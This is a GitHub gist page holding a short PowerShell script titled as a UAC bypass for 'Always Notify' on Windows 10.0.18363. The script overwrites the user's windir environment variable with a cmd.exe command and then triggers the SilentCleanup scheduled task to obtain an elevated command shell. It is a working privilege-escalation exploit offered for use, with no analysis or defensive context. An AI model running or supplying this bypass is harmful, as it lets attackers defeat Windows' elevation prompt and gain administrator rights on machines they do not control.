Skip to content

Instantly share code, notes, and snippets.

@JarLob
Forked from adenkiewicz/elevate.ps1
Created June 2, 2020 20:08
Show Gist options
  • Save JarLob/3db34eb9791b7de28619110f0ba05853 to your computer and use it in GitHub Desktop.
Save JarLob/3db34eb9791b7de28619110f0ba05853 to your computer and use it in GitHub Desktop.
UAC bypass for "Always Notify" on Windows 10.0.18363
New-ItemProperty "HKCU:\Environment" -Name "windir" -Value "cmd.exe /k cmd.exe" -PropertyType String -Force
schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment